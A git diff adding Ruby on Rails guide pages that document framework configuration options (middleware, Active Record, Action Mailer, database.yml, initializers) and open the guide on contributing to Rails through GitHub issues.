+* `config.assets.debug` disables the concatenation and compression of assets. Set to `true` by default in `development.rb`.
+
+* `config.assets.cache_store` defines the cache store that Sprockets will use. The default is the Rails file store.
+
+* `config.assets.version` is an option string that is used in MD5 hash generation. This can be changed to force all files to be recompiled.
+
+* `config.assets.compile` is a boolean that can be used to turn on live Sprockets compilation in production.
+
+* `config.assets.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to the same configured at `config.logger`. Setting `config.assets.logger` to false will turn off served assets logging.
+
+### Configuring Generators
+
+Rails allows you to alter what generators are used with the `config.generators` method. This method takes a block:
+
+```ruby
+config.generators do |g|
+ g.orm :active_record
+ g.test_framework :test_unit
+end
+```
+
+The full set of methods that can be used in this block are as follows:
+
+* `assets` allows to create assets on generating a scaffold. Defaults to `true`.
+* `force_plural` allows pluralized model names. Defaults to `false`.
+* `helper` defines whether or not to generate helpers. Defaults to `true`.
+* `integration_tool` defines which integration tool to use. Defaults to `nil`.
+* `javascripts` turns on the hook for JavaScript files in generators. Used in Rails for when the `scaffold` generator is run. Defaults to `true`.
+* `javascript_engine` configures the engine to be used (for eg. coffee) when generating assets. Defaults to `nil`.
+* `orm` defines which orm to use. Defaults to `false` and will use Active Record by default.
+* `resource_controller` defines which generator to use for generating a controller when using `rails generate resource`. Defaults to `:controller`.
+* `scaffold_controller` different from `resource_controller`, defines which generator to use for generating a _scaffolded_ controller when using `rails generate scaffold`. Defaults to `:scaffold_controller`.
+* `stylesheets` turns on the hook for stylesheets in generators. Used in Rails for when the `scaffold` generator is run, but this hook can be used in other generates as well. Defaults to `true`.
+* `stylesheet_engine` configures the stylesheet engine (for eg. sass) to be used when generating assets. Defaults to `:css`.
+* `test_framework` defines which test framework to use. Defaults to `false` and will use Test::Unit by default.
+* `template_engine` defines which template engine to use, such as ERB or Haml. Defaults to `:erb`.
+
+### Configuring Middleware
+
+Every Rails application comes with a standard set of middleware which it uses in this order in the development environment:
+
+* `ActionDispatch::SSL` forces every request to be under HTTPS protocol. Will be available if `config.force_ssl` is set to `true`. Options passed to this can be configured by using `config.ssl_options`.
+* `ActionDispatch::Static` is used to serve static assets. Disabled if `config.serve_static_assets` is `false`.
+* `Rack::Lock` wraps the app in mutex so it can only be called by a single thread at a time. Only enabled when `config.cache_classes` is `false`.
+* `ActiveSupport::Cache::Strategy::LocalCache` serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread.
+* `Rack::Runtime` sets an `X-Runtime` header, containing the time (in seconds) taken to execute the request.
+* `Rails::Rack::Logger` notifies the logs that the request has began. After request is complete, flushes all the logs.
+* `ActionDispatch::ShowExceptions` rescues any exception returned by the application and renders nice exception pages if the request is local or if `config.consider_all_requests_local` is set to `true`. If `config.action_dispatch.show_exceptions` is set to `false`, exceptions will be raised regardless.
+* `ActionDispatch::RequestId` makes a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method.
+* `ActionDispatch::RemoteIp` checks for IP spoofing attacks and gets valid `client_ip` from request headers. Configurable with the `config.action_dispatch.ip_spoofing_check`, and `config.action_dispatch.trusted_proxies` options.
+* `Rack::Sendfile` intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with `config.action_dispatch.x_sendfile_header`.
+* `ActionDispatch::Callbacks` runs the prepare callbacks before serving the request.
+* `ActiveRecord::ConnectionAdapters::ConnectionManagement` cleans active connections after each request, unless the `rack.test` key in the request environment is set to `true`.
+* `ActiveRecord::QueryCache` caches all SELECT queries generated in a request. If any INSERT or UPDATE takes place then the cache is cleaned.
+* `ActionDispatch::Cookies` sets cookies for the request.
+* `ActionDispatch::Session::CookieStore` is responsible for storing the session in cookies. An alternate middleware can be used for this by changing the `config.action_controller.session_store` to an alternate value. Additionally, options passed to this can be configured by using `config.action_controller.session_options`.
+* `ActionDispatch::Flash` sets up the `flash` keys. Only available if `config.action_controller.session_store` is set to a value.
+* `ActionDispatch::ParamsParser` parses out parameters from the request into `params`.
+* `Rack::MethodOverride` allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PATCH, PUT, and DELETE HTTP method types.
+* `ActionDispatch::Head` converts HEAD requests to GET requests and serves them as so.
+
+Besides these usual middleware, you can add your own by using the `config.middleware.use` method:
+
+```ruby
+config.middleware.use Magical::Unicorns
+```
+
+This will put the `Magical::Unicorns` middleware on the end of the stack. You can use `insert_before` if you wish to add a middleware before another.
+
+```ruby
+config.middleware.insert_before ActionDispatch::Head, Magical::Unicorns
+```
+
+There's also `insert_after` which will insert a middleware after another:
+
+```ruby
+config.middleware.insert_after ActionDispatch::Head, Magical::Unicorns
+```
+
+Middlewares can also be completely swapped out and replaced with others:
+
+```ruby
+config.middleware.swap ActionController::Failsafe, Lifo::Failsafe
+```
+
+They can also be removed from the stack completely:
+
+```ruby
+config.middleware.delete "Rack::MethodOverride"
+```
+
+### Configuring i18n
+
+* `config.i18n.default_locale` sets the default locale of an application used for i18n. Defaults to `:en`.
+
+* `config.i18n.load_path` sets the path Rails uses to look for locale files. Defaults to `config/locales/*.{yml,rb}`.
+
+### Configuring Active Record
+
+`config.active_record` includes a variety of configuration options:
+
+* `config.active_record.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling `logger` on either an Active Record model class or an Active Record model instance. Set to `nil` to disable logging.
+
+* `config.active_record.primary_key_prefix_type` lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named `id` (and this configuration option doesn't need to be set.) There are two other choices:
+** `:table_name` would make the primary key for the Customer class `customerid`
+** `:table_name_with_underscore` would make the primary key for the Customer class `customer_id`
+
+* `config.active_record.table_name_prefix` lets you set a global string to be prepended to table names. If you set this to `northwest_`, then the Customer class will look for `northwest_customers` as its table. The default is an empty string.
+
+* `config.active_record.table_name_suffix` lets you set a global string to be appended to table names. If you set this to `_northwest`, then the Customer class will look for `customers_northwest` as its table. The default is an empty string.
+
+* `config.active_record.pluralize_table_names` specifies whether Rails will look for singular or plural table names in the database. If set to true (the default), then the Customer class will use the `customers` table. If set to false, then the Customer class will use the `customer` table.
+
+* `config.active_record.default_timezone` determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc` for Rails, although Active Record defaults to `:local` when used outside of Rails.
+
+* `config.active_record.schema_format` controls the format for dumping the database schema to a file. The options are `:ruby` (the default) for a database-independent version that depends on migrations, or `:sql` for a set of (potentially database-dependent) SQL statements.
+
+* `config.active_record.timestamped_migrations` controls whether migrations are numbered with serial integers or with timestamps. The default is true, to use timestamps, which are preferred if there are multiple developers working on the same application.
+
+* `config.active_record.lock_optimistically` controls whether Active Record will use optimistic locking and is true by default.
+
+* `config.active_record.cache_timestamp_format` controls the format of the timestamp value in the cache key. Default is `:number`.
+
+The MySQL adapter adds one additional configuration option:
+
+* `ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans` controls whether Active Record will consider all `tinyint(1)` columns in a MySQL database to be booleans and is true by default.
+
+The schema dumper adds one additional configuration option:
+
+* `ActiveRecord::SchemaDumper.ignore_tables` accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless `config.active_record.schema_format == :ruby`.
+
+### Configuring Action Controller
+
+`config.action_controller` includes a number of configuration settings:
+
+* `config.action_controller.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets rather than the application server itself.
+
+* `config.action_controller.perform_caching` configures whether the application should perform caching or not. Set to false in development mode, true in production.
+
+* `config.action_controller.default_static_extension` configures the extension used for cached pages. Defaults to `.html`.
+
+* `config.action_controller.default_charset` specifies the default character set for all renders. The default is "utf-8".
+
+* `config.action_controller.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Controller. Set to `nil` to disable logging.
+
+* `config.action_controller.request_forgery_protection_token` sets the token parameter name for RequestForgery. Calling `protect_from_forgery` sets it to `:authenticity_token` by default.
+
+* `config.action_controller.allow_forgery_protection` enables or disables CSRF protection. By default this is `false` in test mode and `true` in all other modes.
+
+* `config.action_controller.relative_url_root` can be used to tell Rails that you are deploying to a subdirectory. The default is `ENV['RAILS_RELATIVE_URL_ROOT']`.
+
+* `config.action_controller.permit_all_parameters` sets all the parameters for mass assignment to be permitted by default. The default value is `false`.
+
+* `config.action_controller.action_on_unpermitted_params` enables logging or raising an exception if parameters that are not explicitly permitted are found. Set to `:log` or `:raise` to enable. The default value is `:log` in development and test environments, and `false` in all other environments.
+
+### Configuring Action Dispatch
+
+* `config.action_dispatch.session_store` sets the name of the store for session data. The default is `:cookie_store`; other valid options include `:active_record_store`, `:mem_cache_store` or the name of your own custom class.
+
+* `config.action_dispatch.default_headers` is a hash with HTTP headers that are set by default in each response. By default, this is defined as:
+
+ ```ruby
+ config.action_dispatch.default_headers = {
+ 'X-Frame-Options' => 'SAMEORIGIN',
+ 'X-XSS-Protection' => '1; mode=block',
+ 'X-Content-Type-Options' => 'nosniff'
+ }
+ ```
+
+* `config.action_dispatch.tld_length` sets the TLD (top-level domain) length for the application. Defaults to `1`.
+
+* `ActionDispatch::Callbacks.before` takes a block of code to run before the request.
+
+* `ActionDispatch::Callbacks.to_prepare` takes a block to run after `ActionDispatch::Callbacks.before`, but before the request. Runs for every request in `development` mode, but only once for `production` or environments with `cache_classes` set to `true`.
+
+* `ActionDispatch::Callbacks.after` takes a block of code to run after the request.
+
+### Configuring Action View
+
+`config.action_view` includes a small number of configuration settings:
+
+* `config.action_view.field_error_proc` provides an HTML generator for displaying errors that come from Active Record. The default is
+
+ ```ruby
+ Proc.new do |html_tag, instance|
+ %Q(<div class="field_with_errors">#{html_tag}</div>).html_safe
+ end
+ ```
+
+* `config.action_view.default_form_builder` tells Rails which form builder to use by default. The default is `ActionView::Helpers::FormBuilder`. If you want your form builder class to be loaded after initialization (so it's reloaded on each request in development), you can pass it as a `String`
+
+* `config.action_view.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action View. Set to `nil` to disable logging.
+
+* `config.action_view.erb_trim_mode` gives the trim mode to be used by ERB. It defaults to `'-'`. See the [ERB documentation](http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/) for more information.
+
+* `config.action_view.embed_authenticity_token_in_remote_forms` allows you to set the default behavior for `authenticity_token` in forms with `:remote => true`. By default it's set to false, which means that remote forms will not include `authenticity_token`, which is helpful when you're fragment-caching the form. Remote forms get the authenticity from the `meta` tag, so embedding is unnecessary unless you support browsers without JavaScript. In such case you can either pass `:authentici [...]
+
+* `config.action_view.prefix_partial_path_with_controller_namespace` determines whether or not partials are looked up from a subdirectory in templates rendered from namespaced controllers. For example, consider a controller named `Admin::PostsController` which renders this template:
+
+ ```erb
+ <%= render @post %>
+ ```
+
+ The default setting is `true`, which uses the partial at `/admin/posts/_post.erb`. Setting the value to `false` would render `/posts/_post.erb`, which is the same behavior as rendering from a non-namespaced controller such as `PostsController`.
+
+### Configuring Action Mailer
+
+There are a number of settings available on `config.action_mailer`:
+
+* `config.action_mailer.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to `nil` to disable logging.
+
+* `config.action_mailer.smtp_settings` allows detailed configuration for the `:smtp` delivery method. It accepts a hash of options, which can include any of these options:
+ * `:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
+ * `:port` - On the off chance that your mail server doesn't run on port 25, you can change it.
+ * `:domain` - If you need to specify a HELO domain, you can do it here.
+ * `:user_name` - If your mail server requires authentication, set the username in this setting.
+ * `:password` - If your mail server requires authentication, set the password in this setting.
+ * `:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.
+
+* `config.action_mailer.sendmail_settings` allows detailed configuration for the `sendmail` delivery method. It accepts a hash of options, which can include any of these options:
+ * `:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.
+ * `:arguments` - The command line arguments. Defaults to `-i -t`.
+
+* `config.action_mailer.raise_delivery_errors` specifies whether to raise an error if email delivery cannot be completed. It defaults to true.
+
+* `config.action_mailer.delivery_method` defines the delivery method. The allowed values are `:smtp` (default), `:sendmail`, and `:test`.
+
+* `config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to false for testing.
+
+* `config.action_mailer.default_options` configures Action Mailer defaults. Use to set options like `from` or `reply_to` for every mailer. These default to:
+
+ ```ruby
+ :mime_version => "1.0",
+ :charset => "UTF-8",
+ :content_type => "text/plain",
+ :parts_order => [ "text/plain", "text/enriched", "text/html" ]
+ ```
+
+* `config.action_mailer.observers` registers observers which will be notified when mail is delivered.
+
+ ```ruby
+ config.action_mailer.observers = ["MailObserver"]
+ ```
+
+* `config.action_mailer.interceptors` registers interceptors which will be called before mail is sent.
+
+ ```ruby
+ config.action_mailer.interceptors = ["MailInterceptor"]
+ ```
+
+### Configuring Active Support
+
+There are a few configuration options available in Active Support:
+
+* `config.active_support.bare` enables or disables the loading of `active_support/all` when booting Rails. Defaults to `nil`, which means `active_support/all` is loaded.
+
+* `config.active_support.escape_html_entities_in_json` enables or disables the escaping of HTML entities in JSON serialization. Defaults to `false`.
+
+* `config.active_support.use_standard_json_time_format` enables or disables serializing dates to ISO 8601 format. Defaults to `true`.
+
+* `ActiveSupport::Logger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`.
+
+* `ActiveSupport::Cache::Store.logger` specifies the logger to use within cache store operations.
+
+* `ActiveSupport::Deprecation.behavior` alternative setter to `config.active_support.deprecation` which configures the behavior of deprecation warnings for Rails.
+
+* `ActiveSupport::Deprecation.silence` takes a block in which all deprecation warnings are silenced.
+
+* `ActiveSupport::Deprecation.silenced` sets whether or not to display deprecation warnings.
+
+* `ActiveSupport::Logger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`.
+
+### Configuring a Database
+
+Just about every Rails application will interact with a database. The database to use is specified in a configuration file called `config/database.yml`. If you open this file in a new Rails application, you'll see a default database configured to use SQLite3. The file contains sections for three different environments in which Rails can run by default:
+
+* The `development` environment is used on your development/local computer as you interact manually with the application.
+* The `test` environment is used when running automated tests.
+* The `production` environment is used when you deploy your application for the world to use.
+
+TIP: You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named `--database`. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: `cd .. && rails new blog --database=mysql`. When you confirm the overwriting of the `config/database.yml` file, your application will be configured for MySQL instead of [...]
+
+#### Configuring an SQLite3 Database
+
+Rails comes with built-in support for [SQLite3](http://www.sqlite.org), which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later.
+
+Here's the section of the default configuration file (`config/database.yml`) with connection information for the development environment:
+
+```yaml
+development:
+ adapter: sqlite3
+ database: db/development.sqlite3
+ pool: 5
+ timeout: 5000
+```
+
+NOTE: Rails uses an SQLite3 database for data storage by default because it is a zero configuration database that just works. Rails also supports MySQL and PostgreSQL "out of the box", and has plugins for many database systems. If you are using a database in a production environment Rails most likely has an adapter for it.
+
+#### Configuring a MySQL Database
+
+If you choose to use MySQL instead of the shipped SQLite3 database, your `config/database.yml` will look a little different. Here's the development section:
+
+```yaml
+development:
+ adapter: mysql2
+ encoding: utf8
+ database: blog_development
+ pool: 5
+ username: root
+ password:
+ socket: /tmp/mysql.sock
+```
+
+If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the `development` section as appropriate.
+
+#### Configuring a PostgreSQL Database
+
+If you choose to use PostgreSQL, your `config/database.yml` will be customized to use PostgreSQL databases:
+
+```yaml
+development:
+ adapter: postgresql
+ encoding: unicode
+ database: blog_development
+ pool: 5
+ username: blog
+ password:
+```
+
+Prepared Statements can be disabled thus:
+
+```yaml
+production:
+ adapter: postgresql
+ prepared_statements: false
+```
+
+#### Configuring an SQLite3 Database for JRuby Platform
+
+If you choose to use SQLite3 and are using JRuby, your `config/database.yml` will look a little different. Here's the development section:
+
+```yaml
+development:
+ adapter: jdbcsqlite3
+ database: db/development.sqlite3
+```
+
+#### Configuring a MySQL Database for JRuby Platform
+
+If you choose to use MySQL and are using JRuby, your `config/database.yml` will look a little different. Here's the development section:
+
+```yaml
+development:
+ adapter: jdbcmysql
+ database: blog_development
+ username: root
+ password:
+```
+
+#### Configuring a PostgreSQL Database for JRuby Platform
+
+If you choose to use PostgreSQL and are using JRuby, your `config/database.yml` will look a little different. Here's the development section:
+
+```yaml
+development:
+ adapter: jdbcpostgresql
+ encoding: unicode
+ database: blog_development
+ username: blog
+ password:
+```
+
+Change the username and password in the `development` section as appropriate.
+
+### Creating Rails Environments
+
+By default Rails ships with three environments: "development", "test", and "production". While these are sufficient for most use cases, there are circumstances when you want more environments.
+
+Imagine you have a server which mirrors the production environment but is only used for testing. Such a server is commonly called a "staging server". To define an environment called "staging" for this server just by create a file called `config/environments/staging.rb`. Please use the contents of any existing file in `config/environments` as a starting point and make the necessary changes from there.
+
+That environment is no different than the default ones, start a server with `rails server -e staging`, a console with `rails console staging`, `Rails.env.staging?` works, etc.
+
+
+Rails Environment Settings
+--------------------------
+
+Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails:
+
+* `ENV["RAILS_ENV"]` defines the Rails environment (production, development, test, and so on) that Rails will run under.
+
+* `ENV["RAILS_RELATIVE_URL_ROOT"]` is used by the routing code to recognize URLs when you deploy your application to a subdirectory.
+
+* `ENV["RAILS_CACHE_ID"]` and `ENV["RAILS_APP_VERSION"]` are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.
+
+
+Using Initializer Files
+-----------------------
+
+After loading the framework and any gems in your application, Rails turns to loading initializers. An initializer is any Ruby file stored under `config/initializers` in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and gems are loaded, such as options to configure settings for these parts.
+
+NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the initializers folder on down.
+
+TIP: If you have any ordering dependency in your initializers, you can control the load order through naming. Initializer files are loaded in alphabetical order by their path. For example, `01_critical.rb` will be loaded before `02_normal.rb`.
+
+Initialization events
+---------------------
+
+Rails has 5 initialization events which can be hooked into (listed in the order that they are run):
+
+* `before_configuration`: This is run as soon as the application constant inherits from `Rails::Application`. The `config` calls are evaluated before this happens.
+
+* `before_initialize`: This is run directly before the initialization process of the application occurs with the `:bootstrap_hook` initializer near the beginning of the Rails initialization process.
+
+* `to_prepare`: Run after the initializers are run for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every request in `development`, but only once (during boot-up) in `production` and `test`.
+
+* `before_eager_load`: This is run directly before eager loading occurs, which is the default behavior for the `production` environment and not for the `development` environment.
+
+* `after_initialize`: Run directly after the initialization of the application, but before the application initializers are run.
+
+To define an event for these hooks, use the block syntax within a `Rails::Application`, `Rails::Railtie` or `Rails::Engine` subclass:
+
+```ruby
+module YourApp
+ class Application < Rails::Application
+ config.before_initialize do
+ # initialization code goes here
+ end
+ end
+end
+```
+
+Alternatively, you can also do it through the `config` method on the `Rails.application` object:
+
+```ruby
+Rails.application.config.before_initialize do
+ # initialization code goes here
+end
+```
+
+WARNING: Some parts of your application, notably routing, are not yet set up at the point where the `after_initialize` block is called.
+
+### `Rails::Railtie#initializer`
+
+Rails has several initializers that run on startup that are all defined by using the `initializer` method from `Rails::Railtie`. Here's an example of the `initialize_whiny_nils` initializer from Active Support:
+
+```ruby
+initializer "active_support.initialize_whiny_nils" do |app|
+ require 'active_support/whiny_nil' if app.config.whiny_nils
+end
+```
+
+The `initializer` method takes three arguments with the first being the name for the initializer and the second being an options hash (not shown here) and the third being a block. The `:before` key in the options hash can be specified to specify which initializer this new initializer must run before, and the `:after` key will specify which initializer to run this initializer _after_.
+
+Initializers defined using the `initializer` method will be ran in the order they are defined in, with the exception of ones that use the `:before` or `:after` methods.
+
+WARNING: You may put your initializer before or after any other initializer in the chain, as long as it is logical. Say you have 4 initializers called "one" through "four" (defined in that order) and you define "four" to go _before_ "four" but _after_ "three", that just isn't logical and Rails will not be able to determine your initializer order.
+
+The block argument of the `initializer` method is the instance of the application itself, and so we can access the configuration on it by using the `config` method as done in the example.
+
+Because `Rails::Application` inherits from `Rails::Railtie` (indirectly), you can use the `initializer` method in `config/application.rb` to define initializers for the application.
+
+### Initializers
+
+Below is a comprehensive list of all the initializers found in Rails in the order that they are defined (and therefore run in, unless otherwise stated).
+
+* `load_environment_hook` Serves as a placeholder so that `:load_environment_config` can be defined to run before it.
+
+* `load_active_support` Requires `active_support/dependencies` which sets up the basis for Active Support. Optionally requires `active_support/all` if `config.active_support.bare` is un-truthful, which is the default.
+
+* `initialize_logger` Initializes the logger (an `ActiveSupport::Logger` object) for the application and makes it accessible at `Rails.logger`, provided that no initializer inserted before this point has defined `Rails.logger`.
+
+* `initialize_cache` If `Rails.cache` isn't set yet, initializes the cache by referencing the value in `config.cache_store` and stores the outcome as `Rails.cache`. If this object responds to the `middleware` method, its middleware is inserted before `Rack::Runtime` in the middleware stack.
+
+* `set_clear_dependencies_hook` Provides a hook for `active_record.set_dispatch_hooks` to use, which will run before this initializer. This initializer — which runs only if `cache_classes` is set to `false` — uses `ActionDispatch::Callbacks.after` to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request.
+
+* `initialize_dependency_mechanism` If `config.cache_classes` is true, configures `ActiveSupport::Dependencies.mechanism` to `require` dependencies rather than `load` them.
+
+* `bootstrap_hook` Runs all configured `before_initialize` blocks.
+
+* `i18n.callbacks` In the development environment, sets up a `to_prepare` callback which will call `I18n.reload!` if any of the locales have changed since the last request. In production mode this callback will only run on the first request.
+
+* `active_support.initialize_whiny_nils` Requires `active_support/whiny_nil` if `config.whiny_nils` is true. This file will output errors such as:
+
+ ```
+ Called id for nil, which would mistakenly be 4 — if you really wanted the id of nil, use object_id
+ ```
+
+ And:
+
+ ```
+ You have a nil object when you didn't expect it!
+ You might have expected an instance of Array.
+ The error occurred while evaluating nil.each
+ ```
+
+* `active_support.deprecation_behavior` Sets up deprecation reporting for environments, defaulting to `:log` for development, `:notify` for production and `:stderr` for test. If a value isn't set for `config.active_support.deprecation` then this initializer will prompt the user to configure this line in the current environment's `config/environments` file. Can be set to an array of values.
+
+* `active_support.initialize_time_zone` Sets the default time zone for the application based on the `config.time_zone` setting, which defaults to "UTC".
+
+* `active_support.initialize_beginning_of_week` Sets the default beginning of week for the application based on `config.beginning_of_week` setting, which defaults to `:monday`.
+
+* `action_dispatch.configure` Configures the `ActionDispatch::Http::URL.tld_length` to be set to the value of `config.action_dispatch.tld_length`.
+
+* `action_view.set_configs` Sets up Action View by using the settings in `config.action_view` by `send`'ing the method names as setters to `ActionView::Base` and passing the values through.
+
+* `action_controller.logger` Sets `ActionController::Base.logger` — if it's not already set — to `Rails.logger`.
+
+* `action_controller.initialize_framework_caches` Sets `ActionController::Base.cache_store` — if it's not already set — to `Rails.cache`.
+
+* `action_controller.set_configs` Sets up Action Controller by using the settings in `config.action_controller` by `send`'ing the method names as setters to `ActionController::Base` and passing the values through.
+
+* `action_controller.compile_config_methods` Initializes methods for the config settings specified so that they are quicker to access.
+
+* `active_record.initialize_timezone` Sets `ActiveRecord::Base.time_zone_aware_attributes` to true, as well as setting `ActiveRecord::Base.default_timezone` to UTC. When attributes are read from the database, they will be converted into the time zone specified by `Time.zone`.
+
+* `active_record.logger` Sets `ActiveRecord::Base.logger` — if it's not already set — to `Rails.logger`.
+
+* `active_record.set_configs` Sets up Active Record by using the settings in `config.active_record` by `send`'ing the method names as setters to `ActiveRecord::Base` and passing the values through.
+
+* `active_record.initialize_database` Loads the database configuration (by default) from `config/database.yml` and establishes a connection for the current environment.
+
+* `active_record.log_runtime` Includes `ActiveRecord::Railties::ControllerRuntime` which is responsible for reporting the time taken by Active Record calls for the request back to the logger.
+
+* `active_record.set_dispatch_hooks` Resets all reloadable connections to the database if `config.cache_classes` is set to `false`.
+
+* `action_mailer.logger` Sets `ActionMailer::Base.logger` — if it's not already set — to `Rails.logger`.
+
+* `action_mailer.set_configs` Sets up Action Mailer by using the settings in `config.action_mailer` by `send`'ing the method names as setters to `ActionMailer::Base` and passing the values through.
+
+* `action_mailer.compile_config_methods` Initializes methods for the config settings specified so that they are quicker to access.
+
+* `set_load_path` This initializer runs before `bootstrap_hook`. Adds the `vendor`, `lib`, all directories of `app` and any paths specified by `config.load_paths` to `$LOAD_PATH`.
+
+* `set_autoload_paths` This initializer runs before `bootstrap_hook`. Adds all sub-directories of `app` and paths specified by `config.autoload_paths` to `ActiveSupport::Dependencies.autoload_paths`.
+
+* `add_routing_paths` Loads (by default) all `config/routes.rb` files (in the application and railties, including engines) and sets up the routes for the application.
+
+* `add_locales` Adds the files in `config/locales` (from the application, railties and engines) to `I18n.load_path`, making available the translations in these files.
+
+* `add_view_paths` Adds the directory `app/views` from the application, railties and engines to the lookup path for view files for the application.
+
+* `load_environment_config` Loads the `config/environments` file for the current environment.
+
+* `append_asset_paths` Finds asset paths for the application and all attached railties and keeps a track of the available directories in `config.static_asset_paths`.
+
+* `prepend_helpers_path` Adds the directory `app/helpers` from the application, railties and engines to the lookup path for helpers for the application.
+
+* `load_config_initializers` Loads all Ruby files from `config/initializers` in the application, railties and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks are loaded.
+
+* `engines_blank_point` Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are run.
+
+* `add_generator_templates` Finds templates for generators at `lib/templates` for the application, railties and engines and adds these to the `config.generators.templates` setting, which will make the templates available for all generators to reference.
+
+* `ensure_autoload_once_paths_as_subset` Ensures that the `config.autoload_once_paths` only contains paths from `config.autoload_paths`. If it contains extra paths, then an exception will be raised.
+
+* `add_to_prepare_blocks` The block for every `config.to_prepare` call in the application, a railtie or engine is added to the `to_prepare` callbacks for Action Dispatch which will be ran per request in development, or before the first request in production.
+
+* `add_builtin_route` If the application is running under the development environment then this will append the route for `rails/info/properties` to the application routes. This route provides the detailed information such as Rails and Ruby version for `public/index.html` in a default Rails application.
+
+* `build_middleware_stack` Builds the middleware stack for the application, returning an object which has a `call` method which takes a Rack environment object for the request.
+
+* `eager_load!` If `config.eager_load` is true, runs the `config.before_eager_load` hooks and then calls `eager_load!` which will load all `config.eager_load_namespaces`.
+
+* `finisher_hook` Provides a hook for after the initialization of process of the application is complete, as well as running all the `config.after_initialize` blocks for the application, railties and engines.
+
+* `set_routes_reloader` Configures Action Dispatch to reload the routes file using `ActionDispatch::Callbacks.to_prepare`.
+
+* `disable_dependency_loading` Disables the automatic dependency loading if the `config.eager_load` is set to true.
+
+Database pooling
+----------------
+
+Active Record database connections are managed by `ActiveRecord::ConnectionAdapters::ConnectionPool` which ensures that a connection pool synchronizes the amount of thread access to a limited number of database connections. This limit defaults to 5 and can be configured in `database.yml`.
+
+```ruby
+development:
+ adapter: sqlite3
+ database: db/development.sqlite3
+ pool: 5
+ timeout: 5000
+```
+
+Since the connection pooling is handled inside of ActiveRecord by default, all application servers (Thin, mongrel, Unicorn etc.) should behave the same. Initially, the database connection pool is empty and it will create additional connections as the demand for them increases, until it reaches the connection pool limit.
+
+Any one request will check out a connection the first time it requires access to the database, after which it will check the connection back in, at the end of the request, meaning that the additional connection slot will be available again for the next request in the queue.
+
+NOTE. If you have enabled `Rails.threadsafe!` mode then there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited amount of connections.
diff --git a/guides/source/contributing_to_ruby_on_rails.md b/guides/source/contributing_to_ruby_on_rails.md
new file mode 100644
index 0000000..0be9bb1
--- /dev/null
+++ b/guides/source/contributing_to_ruby_on_rails.md
@@ -0,0 +1,488 @@
+Contributing to Ruby on Rails
+=============================
+
+This guide covers ways in which _you_ can become a part of the ongoing development of Ruby on Rails.
+
+After reading this guide, you will know:
+
+* How to use GitHub to report issues.
+* How to clone master and run the test suite.
+* How to help resolve existing issues.
+* How to contribute to the Ruby on Rails documentation.
+* How to contribute to the Ruby on Rails code.
+
+Ruby on Rails is not "someone else's framework." Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation — all with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches.
+
+--------------------------------------------------------------------------------
+
+Reporting an Issue
+------------------
+
+Ruby on Rails uses [GitHub Issue Tracking](https://github.com/rails/rails/issues) to track issues (primarily bugs and contributions of new code). If you've found a bug in Ruby on Rails, this is the place to start. You'll need to create a (free) GitHub account in order to submit an issue, to comment on them or to create pull requests.
+
+NOTE: Bugs in the most recent released version of Ruby on Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test _edge Rails_ (the code for the version of Rails that is currently under development). Later in this guide you'll find out how to get edge Rails for testing.
+
+### Creating a Bug Report
+
+If you've found a problem in Ruby on Rails which is not a security risk, do a search in GitHub under [Issues](https://github.com/rails/rails/issues) in case it was already reported. If you find no issue addressing it you can [add a new one](https://github.com/rails/rails/issues/new). (See the next section for reporting security issues.)
+
+At the minimum, your issue report needs a title and descriptive text. But that's only a minimum. You should include as much relevant information as possible. You need at least to post the code sample that has the issue. Even better is to include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself — and others — to replicate the bug and figure out a fix.
+
+Then, don't get your hopes up! Unless you have a "Code Red, Mission Critical, the World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with a [...]
+
+### Create a Self-Contained gist for Active Record Issues
+
